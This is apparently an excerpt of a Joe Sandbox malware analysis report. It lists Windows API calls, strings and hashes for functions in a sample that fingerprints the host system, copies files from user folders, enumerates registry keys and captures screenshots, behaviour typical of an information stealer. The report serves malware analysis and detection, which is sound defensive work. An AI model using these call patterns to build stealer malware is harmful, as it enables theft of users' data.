FindFirstFileA.KERNEL32(00000000,?), ref: 0089010B
CreateDirectoryA.KERNEL32(00000000,00000000,0000002E,0000002F,?,?,?,?,00915B0C,00000001,0000002E,0000002F,?,0090B49C,3"|,0090B49C), ref: 008903DB
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 00890556
FindNextFileA.KERNEL32(00000000,?), ref: 0089056C
FindClose.KERNEL32(00000000), ref: 0089057C
GetLastError.KERNEL32 ref: 00890582
GetLastError.KERNEL32 ref: 008905A0

Part of subcall function 008971E0: GetCurrentProcess.KERNEL32(00890900), ref: 008971EF
Part of subcall function 008971E0: IsWow64Process.KERNEL32(00000000), ref: 008971F6

Part of subcall function 007F196B: GetSystemTimeAsFileTime.KERNEL32(00890A78,00000000,00000000,?,?,?,00890A78,00000000), ref: 007F1980
Part of subcall function 007F196B: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007F199F

RegOpenKeyExA.KERNEL32(80000002,?,00000000,?,?,?,?), ref: 00890D31
RegQueryValueExA.KERNEL32(?,?,00000000,?,?,?), ref: 00890DFD
RegCloseKey.ADVAPI32(?), ref: 00890E32
GetCurrentHwProfileA.ADVAPI32(?), ref: 00890FCA
GetModuleHandleExA.KERNEL32(00000004,00895FC0,?,?,?,?,?,?,?,?,00000000), ref: 008914CB
GetModuleFileNameA.KERNEL32(?,?,00000104,?,?,?,?,?,?,?,00000000), ref: 008914E3
RegOpenKeyExA.KERNEL32(80000002,?,00000000,?,?), ref: 00891E96
RegQueryValueExA.KERNEL32(?,?,00000000,?,?,?), ref: 00891F62
RegCloseKey.ADVAPI32(?), ref: 008921E1
GetComputerNameA.KERNEL32(?,?), ref: 00892215
GetUserNameA.ADVAPI32(?,?), ref: 008923B3
GetDesktopWindow.USER32 ref: 00892456
GetWindowRect.USER32(00000000,?), ref: 00892464
GetUserDefaultLocaleName.KERNEL32(?,00000200), ref: 008925CF
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00892A95
LocalAlloc.KERNEL32(00000040), ref: 00892AA7
GetKeyboardLayoutList.USER32(?,00000000), ref: 00892AC2
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00892AED
LocalFree.KERNEL32(?), ref: 00892CB0
GetLocalTime.KERNEL32(?), ref: 00892CC7
GetSystemTime.KERNEL32(?), ref: 00892EDD
GetTimeZoneInformation.KERNEL32(?), ref: 00892F00
TzSpecificLocalTimeToSystemTime.KERNEL32(?,?,?), ref: 00892F25
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 0089333F
RegQueryValueExA.KERNEL32(?,?,00000000,?,?,?), ref: 00893491
RegCloseKey.ADVAPI32(?), ref: 00893542
GetSystemInfo.KERNEL32(?), ref: 0089356A
GlobalMemoryStatusEx.KERNEL32(?), ref: 0089361D
EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 00893731
EnumDisplayDevicesA.USER32(00000000,00000001,?,00000001), ref: 00893B14
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00893C53
Process32First.KERNEL32(00000000,?), ref: 00893C6B
Process32Next.KERNEL32(00000000,?), ref: 00893C81
Process32Next.KERNEL32(00000000,?), ref: 00893D53
CloseHandle.KERNEL32(00000000), ref: 00893D62
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 008940D6
RegEnumKeyExA.KERNEL32(?,00000000,?,?), ref: 0089410D
wsprintfA.USER32 ref: 008941F0
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 00894213
RegQueryValueExA.KERNEL32(?,?,00000000,?,?,00000400), ref: 00894312
RegQueryValueExA.KERNEL32(?,?,00000000,?,?,00000400), ref: 00894409
RegCloseKey.ADVAPI32(?), ref: 008944E5
RegCloseKey.ADVAPI32(?), ref: 00894500

Strings

3"|, xrefs: 0088FFC6, 00890690, 00890174, 00890179, 00890183
;Yb., xrefs: 0089402D

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: CloseTime$FileOpenQueryValue$LocalNameSystem$EnumFindNextProcess32$CreateCurrentDevicesDisplayErrorFirstHandleInfoKeyboardLastLayoutListLocaleModuleProcessUserWindow$AllocComputerCopyDefaultDesktopDirectoryFreeGlobalInformationMemoryProfileRectSnapshotSpecificStatusToolhelp32Unothrow_t@std@@@Wow64Zone__ehfuncinfo$??2@wsprintf
String ID: 3"|$;Yb.
API String ID: 3185416054-2981726537
Opcode ID: 54449a865f5962ecf4e2d3e5325c43d1e501cb0da2d78ae316dd2ab232453ff1
Instruction ID: f9e12bc199fa861e6a9dfe5c3b36e6a5403498d68429f57b627ccc4b68a7e30f
Opcode Fuzzy Hash: 54449a865f5962ecf4e2d3e5325c43d1e501cb0da2d78ae316dd2ab232453ff1
Instruction Fuzzy Hash: 11B3ECB4D0526D8BDB25CF98C985AEEBBB0FF48300F1041A9E949B7351DB345A81CFA5

Function 007BB8E0 Relevance: 65.9, APIs: 40, Instructions: 5855fileCOMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,00000000), ref: 007BBA08
CreateDirectoryA.KERNEL32(?,00000000), ref: 007BBAD2
CopyFileA.KERNEL32(?,00000000,00000000), ref: 007BBF80
CopyFileA.KERNEL32(?,00000000,00000000), ref: 007BC47A
CreateDirectoryA.KERNEL32(?,00000000), ref: 007BC575
CopyFileA.KERNEL32(?,00000000,00000000), ref: 007BC969
CopyFileA.KERNEL32(?,00000000,00000000), ref: 007BCD72
CopyFileA.KERNEL32(?,00000000,00000000), ref: 007BD17B
CreateDirectoryA.KERNEL32(?,00000000), ref: 007BD29A
CreateDirectoryA.KERNEL32(?,00000000), ref: 007BD6F8
CopyFileA.KERNEL32(?,00000000,00000000), ref: 007BD9DC
CreateDirectoryA.KERNEL32(?,00000000), ref: 007BDAD7
CopyFileA.KERNEL32(?,00000000,00000000), ref: 007BDE41
CopyFileA.KERNEL32(?,?,00000000), ref: 007BE55A
CopyFileA.KERNEL32(?,00000000,00000000), ref: 007BECF6
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 007BEEEA
CreateDirectoryA.KERNEL32(?,00000000), ref: 007BF45B
CreateDirectoryA.KERNEL32(?,00000000), ref: 007BF525
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 007C01ED
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 007C0580
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 007C088D
CopyFileA.KERNEL32(?,00000000,00000000), ref: 007C0DC4
CopyFileA.KERNEL32(?,?,00000000), ref: 007C173C
CreateDirectoryA.KERNEL32(?,00000000), ref: 007C1904
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 007C1CD7
CreateDirectoryA.KERNEL32(?,00000000), ref: 007C1E6E
CreateDirectoryA.KERNEL32(?,00000000), ref: 007C1FBE
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 007C0B14

Part of subcall function 0088FF00: CreateDirectoryA.KERNEL32(00000000,00000000,0000002E,0000002F,?,?,?,?,00915B0C,00000001,0000002E,0000002F,?,0090B49C,3"|,0090B49C), ref: 008903DB

CreateDirectoryA.KERNEL32(?,00000000), ref: 007C0F12
CreateDirectoryA.KERNEL32(?,00000000), ref: 007BFEF1

Part of subcall function 00896770: GetLastError.KERNEL32 ref: 00896B20

CreateDirectoryA.KERNEL32(?,00000000), ref: 007BFC55

Part of subcall function 0088FF00: FindFirstFileA.KERNEL32(00000000,?), ref: 0089010B

CreateDirectoryA.KERNEL32(?,00000000), ref: 007BF933

Part of subcall function 00896770: SetFileAttributesA.KERNEL32(?,00000080,?,?,009394F8,?,?), ref: 00896A8A
Part of subcall function 00896770: DeleteFileA.KERNEL32(?), ref: 00896AA4
Part of subcall function 00896770: RemoveDirectoryA.KERNEL32(?), ref: 00896B0B
Part of subcall function 00896770: std::_Throw_Cpp_error.LIBCPMT ref: 00896BE7
Part of subcall function 00896770: std::_Throw_Cpp_error.LIBCPMT ref: 00896BF8

Part of subcall function 00896CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00896D4F
Part of subcall function 00896CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00896D60

CreateDirectoryA.KERNEL32(?,00000000), ref: 007BE6FA

Part of subcall function 00876000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 0087613F

Part of subcall function 007D9070: ___std_fs_convert_narrow_to_wide@20.LIBCPMT ref: 007D910D
Part of subcall function 007D9070: ___std_fs_convert_narrow_to_wide@20.LIBCPMT ref: 007D9155

CreateDirectoryA.KERNEL32(?,00000000), ref: 007BDF3C

Part of subcall function 00896770: FindNextFileA.KERNEL32(?,00000010), ref: 00896AB8
Part of subcall function 00896770: FindClose.KERNEL32(?), ref: 00896ACA
Part of subcall function 00896770: GetLastError.KERNEL32 ref: 00896AD0
Part of subcall function 00896770: SetFileAttributesA.KERNEL32(?,00000080), ref: 00896AED

CopyFileA.KERNEL32(?,00000000,00000000), ref: 007BD5FD

Part of subcall function 00896770: FindFirstFileA.KERNEL32(00000000,?,009394F8,?,?,?,\*.*,00000004), ref: 008968E5

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 007BBB07

Part of subcall function 00896CA0: GetFileAttributesA.KERNEL32(?,?,?,00810404), ref: 00896CFC
Part of subcall function 00896CA0: GetLastError.KERNEL32(?,?,00810404), ref: 00896D07

CreateDirectoryA.KERNEL32(?,00000000), ref: 007BBD08
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 007BBD37
CreateDirectoryA.KERNEL32(?,00000000), ref: 007BC0CC
CreateDirectoryA.KERNEL32(?,00000000), ref: 007BC196

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Directory$Create$File$Copy$Find$Cpp_errorThrow_std::_$AttributesErrorFirstLast$FolderPath___std_fs_convert_narrow_to_wide@20$CloseDeleteNextRemove
String ID:
API String ID: 1172780710-0
Opcode ID: 11d6143c7e17200e6830d612a50f1dd87dca6b5c01476e8c399768490761c7da
Instruction ID: 852d5780ea9a6843e12d3039537e7148f0a8e8b27240d4f54dcaecf422bcaa85
Opcode Fuzzy Hash: 11d6143c7e17200e6830d612a50f1dd87dca6b5c01476e8c399768490761c7da
Instruction Fuzzy Hash: 9DF3CEB4D0526D8BDF25CFA8C995AEEBBB0BF18300F1041A9D849B7341DB385A85CF65

Function 0085A200 Relevance: 56.8, APIs: 10, Strings: 11, Instructions: 20001COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 0085A277

Part of subcall function 00876000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 0087613F

Strings

cannot use push_back() with , xrefs: 008610BB, 00861333, 00863367, 00863558, 00868296, 0086842E, 0086DFC9, 0086E020, 0086E074, 0086FE23, 0086FFFB, 00871CD9, 00871E80, 00875F5A
Jzv", xrefs: 0086CB48
cannot use operator[] with a string argument with , xrefs: 008614F5, 0086152D, 00861580, 008615B5, 008615EC, 008634C2, 00863500, 008635B5, 008683F4, 0086848D, 0086DF6D, 0086E0D4, 0086E129, 0086E17E, 0086E1D9, 0086E22E, 0086E283, 0086E2D8, 0086E32D, 0086E382, 0086FF65, 0086FFA3, 00870058, 00871DEA, 00871E28, 00871EDD, 00875EE8, 00875F20, 00875FB2
;Yb., xrefs: 008662DD
;Yb., xrefs: 0086CCC8
X<b., xrefs: 00860396
;Yb., xrefs: 008604F0
;Yb., xrefs: 0086AF18
;Yb., xrefs: 008747B2
;Yb., xrefs: 008626EA
WUa5, xrefs: 0086AC90

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: ;Yb.$;Yb.$;Yb.$;Yb.$;Yb.$;Yb.$Jzv"$WUa5$X<b.$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-383699475
Opcode ID: 130d2e7b8c815aa898fe3b9caec8cc95679ee03b523c39f023630077ca13b1e6
Instruction ID: 793510c34c497ac07e785545470ed30463ab7b2d11747ce2afefd81569e663ac
Opcode Fuzzy Hash: 130d2e7b8c815aa898fe3b9caec8cc95679ee03b523c39f023630077ca13b1e6
Instruction Fuzzy Hash: E5B410B0D05269CBDB25CF68C994BEDBBB1BF58304F1082D9D849A7242DB746B84CF91

Function 00887600 Relevance: 52.8, APIs: 31, Instructions: 6337fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,0090B192,000000FF), ref: 0088766C
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00887693
CreateDirectoryA.KERNEL32(?,00000000), ref: 00887959
CreateDirectoryA.KERNEL32(?,00000000), ref: 00887CBB
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00888DF7
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00889992
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088A31E
CopyFileA.KERNEL32(?,00000000,00000000), ref: 0088A3EF
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088A712
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088AA7D
CopyFileA.KERNEL32(?,00000000,00000000), ref: 0088AB4E
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088AE39
CreateDirectoryA.KERNEL32(?,00000000,?,?,?), ref: 0088B0C9
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088B27C
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088B556
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088B93C
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?), ref: 0088BCF1
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088BEA4
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088C17E
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088C564
CreateDirectoryA.KERNEL32(?,00000000), ref: 00889FB3

Part of subcall function 0088FF00: CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 00890556
Part of subcall function 0088FF00: GetLastError.KERNEL32 ref: 008905A0

CreateDirectoryA.KERNEL32(?,00000000), ref: 0088C99C
CopyFileA.KERNEL32(?,00000000,00000000), ref: 0088CAF3

Part of subcall function 0088E430: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0088E49D

CreateDirectoryA.KERNEL32(?,00000000), ref: 00889C53

Part of subcall function 00896770: SetFileAttributesA.KERNEL32(?,00000080,?,?,009394F8,?,?), ref: 00896A8A
Part of subcall function 00896770: DeleteFileA.KERNEL32(?), ref: 00896AA4
Part of subcall function 00896770: RemoveDirectoryA.KERNEL32(?), ref: 00896B0B
Part of subcall function 00896770: std::_Throw_Cpp_error.LIBCPMT ref: 00896BE7
Part of subcall function 00896770: std::_Throw_Cpp_error.LIBCPMT ref: 00896BF8

Part of subcall function 00896770: GetLastError.KERNEL32 ref: 00896B20

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?), ref: 00889648

Part of subcall function 0088FF00: FindNextFileA.KERNEL32(00000000,?), ref: 0089056C
Part of subcall function 0088FF00: FindClose.KERNEL32(00000000), ref: 0089057C
Part of subcall function 0088FF00: GetLastError.KERNEL32 ref: 00890582

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 008891DD

Part of subcall function 00896770: FindNextFileA.KERNEL32(?,00000010), ref: 00896AB8
Part of subcall function 00896770: FindClose.KERNEL32(?), ref: 00896ACA
Part of subcall function 00896770: GetLastError.KERNEL32 ref: 00896AD0
Part of subcall function 00896770: SetFileAttributesA.KERNEL32(?,00000080), ref: 00896AED

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 0088896A

Part of subcall function 0088FF00: CreateDirectoryA.KERNEL32(00000000,00000000,0000002E,0000002F,?,?,?,?,00915B0C,00000001,0000002E,0000002F,?,0090B49C,3"|,0090B49C), ref: 008903DB

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00888B1D
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?), ref: 00888362

Part of subcall function 00896770: FindFirstFileA.KERNEL32(00000000,?,009394F8,?,?,?,\*.*,00000004), ref: 008968E5

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00888623
CreateDirectoryA.KERNEL32(?,00000000), ref: 0088801B

Part of subcall function 0088FF00: FindFirstFileA.KERNEL32(00000000,?), ref: 0089010B

Part of subcall function 00896CA0: GetFileAttributesA.KERNEL32(?,?,?,00810404), ref: 00896CFC
Part of subcall function 00896CA0: GetLastError.KERNEL32(?,?,00810404), ref: 00896D07

Part of subcall function 00896CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00896D4F
Part of subcall function 00896CA0: std::_Throw_Cpp_error.LIBCPMT ref: 00896D60

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Directory$Create$File$Find$ErrorLast$CopyCpp_errorThrow_std::_$AttributesFolderPath$CloseFirstNext$DeleteRemove
String ID:
API String ID: 1140557632-0
Opcode ID: a9c87e8e7a31a25addf0ba12db24ef17741ded9c2252f7a6790d1567863f843f
Instruction ID: fcab42f28a220f8516314cea3183ce98b071d0a61d926f987765b058cfaee47f
Opcode Fuzzy Hash: a9c87e8e7a31a25addf0ba12db24ef17741ded9c2252f7a6790d1567863f843f
Instruction Fuzzy Hash: F0F301B4D0525ACBCF14DFA8C995AEEBBB0BF18304F204199D549B7241EB341B84CFA6

Function 00895FF0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 186
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00896051
GetSystemMetrics.USER32(00000001), ref: 00896067
GetSystemMetrics.USER32(00000000), ref: 0089606D
GetDC.USER32(00000000), ref: 00896073
CreateCompatibleDC.GDI32(00000000), ref: 00896085
CreateCompatibleBitmap.GDI32(?,00000000,00000000), ref: 0089609B
SelectObject.GDI32(?,00000000), ref: 008960B0
BitBlt.GDI32(?,00000000,00000000,00000000,00000000,?,00000000,00000000,00CC0020), ref: 008960CB
GdipCreateBitmapFromHBITMAP.GDIPLUS(?,00000000,?), ref: 008960F6
GdipGetImageEncodersSize.GDIPLUS(?,00000000), ref: 00896127
GdipGetImageEncoders.GDIPLUS(00000000,00000000,00000000), ref: 0089614D
GdipSaveImageToFile.GDIPLUS(?,?,?), ref: 008961F0
DeleteObject.GDI32(?), ref: 00896201
GdipDisposeImage.GDIPLUS(?), ref: 00896216
DeleteObject.GDI32(?), ref: 0089621F
ReleaseDC.USER32(00000000,?), ref: 0089622A
GdiplusShutdown.GDIPLUS(?), ref: 00896233

Strings

image/png, xrefs: 00896162

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Gdip$Image$CreateObject$BitmapCompatibleDeleteEncodersGdiplusMetricsSystem$DisposeFileFromReleaseSaveSelectShutdownSizeStartup
String ID: image/png
API String ID: 258367123-2966254431
Opcode ID: b75322ab4f011f71c3ed7edebbfacb00083ec3875fc1b5116acbb7dc5e036948
Instruction ID: e5de615f8484d1ddba7f6c58d8f42d7963858a719ca25a37649532cfb2478a8f
Opcode Fuzzy Hash: b75322ab4f011f71c3ed7edebbfacb00083ec3875fc1b5116acbb7dc5e036948
Instruction Fuzzy Hash: 477155B1D01209AFDF20AFE4CC09BEEBBB8FF08714F144119E904B6290E7759985DBA1

Function 00840440 Relevance: 28.0, APIs: 13, Strings: 2, Instructions: 1749registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0084083B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 0084086F
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 00840895
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 00840A2C
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 00840CB3
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 00840DA0
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 00840EE1
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 00840FCB
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 008410B5
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 0084119F
RegCloseKey.ADVAPI32(?), ref: 0084229B
RegEnumKeyA.ADVAPI32(?,00000001,?,00000104), ref: 008422D1
RegCloseKey.ADVAPI32(?), ref: 008422E5

Strings

cannot use push_back() with , xrefs: 00842345
cannot use operator[] with a string argument with , xrefs: 0084239E, 008423F3

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: QueryValue$CloseEnumOpen
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2041898428-3306948993
Opcode ID: d7bfcb94f039c93abc0c40badd9108c34c908d96f58e9e4840f9b4ef55f02f2c
Instruction ID: 0da2e4a16b364758c2b9f4d3f0622b4967e010bac605e321744c61a0a4ba5a33
Opcode Fuzzy Hash: d7bfcb94f039c93abc0c40badd9108c34c908d96f58e9e4840f9b4ef55f02f2c
Instruction Fuzzy Hash: FB1321B0D0526C8BDB25CF68C884BEDBBB4BF58304F1082DAE549A7241EB756B85CF54

Function 00831C10 Relevance: 21.5, APIs: 7, Strings: 4, Instructions: 2202COMMON

Download Yara Rule

APIs

Part of subcall function 00896CA0: GetFileAttributesA.KERNEL32(?,?,?,00810404), ref: 00896CFC
Part of subcall function 00896CA0: GetLastError.KERNEL32(?,?,00810404), ref: 00896D07

SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?), ref: 008327AB
SHGetFolderPathA.SHELL32(00000000,00000005,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00832AA7
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 00832DA5
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00833105
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00833433
SHGetFolderPathA.SHELL32(00000000,00000008,00000000,00000000,?), ref: 00833737
Concurrency::cancel_current_task.LIBCPMT ref: 008344E1

Strings

type must be string, but is , xrefs: 0083455B
cannot compare iterators of different containers, xrefs: 0083449D
type must be boolean, but is , xrefs: 00834507
cannot get value, xrefs: 0083445E, 00834598

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: FolderPath$AttributesConcurrency::cancel_current_taskErrorFileLast
String ID: cannot compare iterators of different containers$cannot get value$type must be boolean, but is $type must be string, but is
API String ID: 1974481932-2698695959
Opcode ID: ee9bd7cfcfa4e82c96d54399caa00f5b3886debbe383da1afe2d0e87a36bb03e
Instruction ID: 1fd213aa8504fcdc43fa7fb96ae65d16651e11a49c84a357f5ffee61ccbd89b6
Opcode Fuzzy Hash: ee9bd7cfcfa4e82c96d54399caa00f5b3886debbe383da1afe2d0e87a36bb03e
